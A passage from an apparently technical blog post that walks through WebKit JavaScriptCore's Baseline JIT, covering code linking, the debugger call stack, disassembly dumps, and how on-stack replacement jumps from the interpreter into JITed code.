</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_getByIds, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_getByVals, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_getByIdsWithThis, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_putByIds, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_delByIds, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_delByVals, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_inByIds, patchBuffer);
</span></span><span style="display:flex;"><span>    finalizeInlineCaches(m_instanceOfs, patchBuffer);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        JITCodeMapBuilder jitCodeMapBuilder;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">unsigned</span> bytecodeOffset <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; bytecodeOffset <span style="color:#f92672">&lt;</span> m_labels.size(); <span style="color:#f92672">++</span>bytecodeOffset) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (m_labels[bytecodeOffset].isSet())
</span></span><span style="display:flex;"><span>                jitCodeMapBuilder.append(BytecodeIndex(bytecodeOffset), patchBuffer.locationOf<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(m_labels[bytecodeOffset]));
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        m_codeBlock<span style="color:#f92672">-&gt;</span>setJITCodeMap(jitCodeMapBuilder.finalize());
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    MacroAssemblerCodePtr<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> withArityCheck <span style="color:#f92672">=</span> patchBuffer.locationOf<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span>(m_arityCheck);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    CodeRef<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> result <span style="color:#f92672">=</span> FINALIZE_CODE(
</span></span><span style="display:flex;"><span>        patchBuffer, JSEntryPtrTag,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Baseline JIT code for %s&#34;</span>, toCString(CodeBlockWithJITType(m_codeBlock, JITType<span style="color:#f92672">::</span>BaselineJIT)).data());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    m_codeBlock<span style="color:#f92672">-&gt;</span>setJITCode(
</span></span><span style="display:flex;"><span>        adoptRef(<span style="color:#f92672">*</span><span style="color:#66d9ef">new</span> DirectJITCode(result, withArityCheck, JITType<span style="color:#f92672">::</span>BaselineJIT)));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (JITInternal<span style="color:#f92672">::</span>verbose)
</span></span><span style="display:flex;"><span>        dataLogF(<span style="color:#e6db74">&#34;JIT generated code for %p at [%p, %p).</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, m_codeBlock, result.executableMemory()<span style="color:#f92672">-&gt;</span>start().untaggedPtr(), result.executableMemory()<span style="color:#f92672">-&gt;</span>end().untaggedPtr());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> CompilationSuccessful;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Once linking has completed, a <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JIT.cpp#L980">reference pointer to the JITed code is set in the codeblock</a>. The Baseline JIT optimised code is now ready to be executed. The call stack at this point should resemble something similar to the snippet below:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::JIT::link<span style="color:#f92672">(</span>JSC::JIT * const this<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jit/JIT.cpp:970<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::JITWorklist::Plan::finalize<span style="color:#f92672">(</span>JSC::JITWorklist::Plan * const this<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jit/JITWorklist.cpp:55<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::JITWorklist::Plan::compileNow<span style="color:#f92672">(</span>JSC::CodeBlock * codeBlock, JSC::BytecodeIndex loopOSREntryBytecodeIndex<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jit/JITWorklist.cpp:87<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::JITWorklist::compileLater<span style="color:#f92672">(</span>JSC::JITWorklist * const this, JSC::CodeBlock * codeBlock, JSC::BytecodeIndex loopOSREntryBytecodeIndex<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/jit/JITWorklist.cpp:238<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::LLInt::jitCompileAndSetHeuristics<span style="color:#f92672">(</span>JSC::VM &amp; vm, JSC::CodeBlock * codeBlock, JSC::BytecodeIndex loopOSREntryBytecodeIndex<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:386<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!JSC::LLInt::llint_loop_osr<span style="color:#f92672">(</span>JSC::CallFrame * callFrame, const JSC::Instruction * pc<span style="color:#f92672">)</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp:481<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>libJavaScriptCore.so.1!llint_op_loop_hint<span style="color:#f92672">()</span> <span style="color:#f92672">(</span>/home/amar/workspace/WebKit/Source/JavaScriptCore/llint/LowLevelInterpreter64.asm:97<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>Unknown/Just-In-Time compiled code<span style="color:#f92672">]</span> <span style="color:#f92672">(</span>Unknown Source:0<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>One can dump the disassembly of the JITed code by adding the <code>--dumpDisassembly=true</code> flag to <code>launch.json</code> or to the commandline. The disassembly for the compiled bytecodes printed to stdout would appear as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Generated</span> <span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>], <span style="color:#a6e22e">instructions</span> <span style="color:#a6e22e">size</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">43</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">Source</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">for</span>(<span style="color:#66d9ef">let</span> <span style="color:#a6e22e">x</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">x</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">5</span>; <span style="color:#a6e22e">x</span><span style="color:#f92672">++</span>){ <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">y</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span><span style="color:#f92672">+</span><span style="color:#ae81ff">10</span>; }
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">Code</span> <span style="color:#a6e22e">at</span> [<span style="color:#ae81ff">0x7fffaecff680</span>, <span style="color:#ae81ff">0x7fffaecfffc0</span>)<span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff680</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">nop</span> 
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff681</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rbp</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff682</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rsp</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rbp</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff685</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7fffae3c4000</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">r11</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    [   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff728</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff729</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff733</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    [   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff7d4</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff7d5</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff7df</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    [  <span style="color:#ae81ff">23</span>] <span style="color:#a6e22e">loop_hint</span>          
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9a8</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9a9</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9b3</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9b4</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f6a88b</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9be</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rdx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9bf</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f63e72</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rdx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9c9</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rbx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9ca</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7fffeedfe628</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rbx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecff9d4</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">call</span> <span style="color:#f92672">*%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">End</span> <span style="color:#a6e22e">Of</span> <span style="color:#a6e22e">Main</span> <span style="color:#a6e22e">Path</span>)
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">S</span>) [   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffb70</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffb71</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffb7b</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffb7c</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f6a88b</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">S</span>) [  <span style="color:#ae81ff">28</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span>(<span style="color:#a6e22e">const4</span>), <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">3</span>)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffd0d</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffd0e</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffd18</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">S</span>) [  <span style="color:#ae81ff">34</span>] <span style="color:#a6e22e">inc</span>                <span style="color:#a6e22e">loc7</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffd99</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffd9a</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffda4</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">S</span>) [  <span style="color:#ae81ff">37</span>] <span style="color:#a6e22e">jless</span>              <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">5</span>(<span style="color:#a6e22e">const3</span>), <span style="color:#f92672">-</span><span style="color:#ae81ff">14</span>(<span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">23</span>)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffe10</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffe11</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f69936</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rax</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffe1b</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffe1c</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7ffff4f6a88b</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rcx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffe26</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">push</span> <span style="color:#f92672">%</span><span style="color:#a6e22e">rdx</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span>    (<span style="color:#a6e22e">End</span> <span style="color:#a6e22e">Of</span> <span style="color:#a6e22e">Slow</span> <span style="color:#a6e22e">Path</span>)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffec5</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7fffae3c4000</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">rdi</span>
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffecf</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x0</span>, <span style="color:#ae81ff">0x24</span>(<span style="color:#f92672">%</span><span style="color:#a6e22e">rbp</span>)
</span></span><span style="display:flex;"><span>          <span style="color:#ae81ff">0x7fffaecffed6</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">mov</span> <span style="color:#a6e22e">$0x7fffaeb09fd8</span>, <span style="color:#f92672">%</span><span style="color:#a6e22e">r11</span>
</span></span><span style="display:flex;"><span>          <span style="color:#960050;background-color:#1e0010">#</span>... <span style="color:#a6e22e">truncated</span> <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">brevity</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">generated</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#ae81ff">0x7fffae3c4000</span> <span style="color:#a6e22e">at</span> [<span style="color:#ae81ff">0x7fffaecff680</span>, <span style="color:#ae81ff">0x7fffaecfffc0</span>).
</span></span></code></pre></div><h2 id="jit-execution">JIT Execution</h2>
<p>Stepping back up the call stack, execution returns to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L482"><code>llint_loop_osr</code></a>. The compiled and linked machine code is now referenced by <code>codeBlock</code> and to complete the OSR to the JITed code, the engine needs to retrieve the <code>executableAddress</code> to the JITed code and have the LLInt jump to this address and continue execution:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>jitCompileAndSetHeuristics(vm, codeBlock, loopOSREntryBytecodeIndex))
</span></span><span style="display:flex;"><span>        LLINT_RETURN_TWO(<span style="color:#66d9ef">nullptr</span>, <span style="color:#66d9ef">nullptr</span>);
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> JITCodeMap<span style="color:#f92672">&amp;</span> codeMap <span style="color:#f92672">=</span> codeBlock<span style="color:#f92672">-&gt;</span>jitCodeMap();
</span></span><span style="display:flex;"><span>    CodeLocationLabel<span style="color:#f92672">&lt;</span>JSEntryPtrTag<span style="color:#f92672">&gt;</span> codeLocation <span style="color:#f92672">=</span> codeMap.find(loopOSREntryBytecodeIndex);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span><span style="color:#f92672">*</span> jumpTarget <span style="color:#f92672">=</span> codeLocation.executableAddress();
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    LLINT_RETURN_TWO(jumpTarget, callFrame<span style="color:#f92672">-&gt;</span>topOfFrame());
</span></span></code></pre></div><p>The snippet code demonstrates how the engine first retrieves a <code>codeMap</code> of the compiled codeBlock and then looks up the <code>codeLocation</code> of the bytecode index that OSR entry is to be performed. In our example, this is the <code>loop_hint</code> bytecode index. The executable address is retrieved from <code>codeLocation</code> and along with the <code>callFrame</code> is passed as arguments to <code>LLINT_RETURN_TWO</code>. The call to <code>LLINT_RETURN_TWO</code> returns execution back to the <code>checkSwitchToJITForLoop</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>macro checkSwitchToJITForLoop()
</span></span><span style="display:flex;"><span>    checkSwitchToJIT(
</span></span><span style="display:flex;"><span>        <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>        macro()
</span></span><span style="display:flex;"><span>            storePC()
</span></span><span style="display:flex;"><span>            prepareStateForCCall()
</span></span><span style="display:flex;"><span>            move cfr, a0
</span></span><span style="display:flex;"><span>            move PC, a1
</span></span><span style="display:flex;"><span>            cCall2(_llint_loop_osr)
</span></span><span style="display:flex;"><span>            btpz r0, .recover      <span style="color:#f92672">&lt;--</span> execution returns here after Baseline JIT compilation
</span></span><span style="display:flex;"><span>            move r1, sp
</span></span><span style="display:flex;"><span>            jmp r0, JSEntryPtrTag  <span style="color:#f92672">&lt;--</span> jump to JITed code
</span></span><span style="display:flex;"><span>        .recover:
</span></span><span style="display:flex;"><span>            loadPC()
</span></span><span style="display:flex;"><span>        end)
</span></span><span style="display:flex;"><span>end
</span></span></code></pre></div><p>Setting a breakpoint at <code>jmp r0, JSEntryPtrTag</code> and inspecting the value of <code>r0</code> (which is <code>rax</code>), it is observed that it contains the executable address into our JITed code. More specifically the executable address to the start of the compiled <code>loop_hint</code> bytecode.</p>
<p><img src="/images/jsc-part2/jump_to_baseline_jit.png" alt="jump-to-baseline-jit"></p>
<p>One can enable tracing execution of our compiled code in the Baseline JIT by adding the <code>&quot;--traceBaselineJITExecution=true&quot;</code> flag to <code>launch.json</code> or on the commandline. This will force the Baseline JIT to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/llint/LLIntSlowPaths.cpp#L316">insert tracing probes</a> in the compiled code. These logging probes will print to stdout:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">Optimized</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">LLIntGlobal</span>, <span style="color:#ae81ff">43</span>] <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">Baseline</span> <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">into</span> <span style="color:#ae81ff">2368</span> <span style="color:#a6e22e">bytes</span> <span style="color:#66d9ef">in</span> <span style="color:#ae81ff">1.509752</span> <span style="color:#a6e22e">ms</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">generated</span> <span style="color:#a6e22e">code</span> <span style="color:#66d9ef">for</span> <span style="color:#ae81ff">0x7fffae3c4000</span> <span style="color:#a6e22e">at</span> [<span style="color:#ae81ff">0x7fffaecff680</span>, <span style="color:#ae81ff">0x7fffaecfffc0</span>).
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">compilation</span> <span style="color:#a6e22e">successful</span>.
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Installing</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> [<span style="color:#ae81ff">23</span>] <span style="color:#a6e22e">op_loop_hint</span> <span style="color:#a6e22e">cfr</span> <span style="color:#ae81ff">0x7fffffffcb40</span> <span style="color:#960050;background-color:#1e0010">@</span> <span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">DETOqr</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffae3c4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeedcb768</span>, <span style="color:#a6e22e">BaselineGlobal</span>, <span style="color:#ae81ff">43</span>]
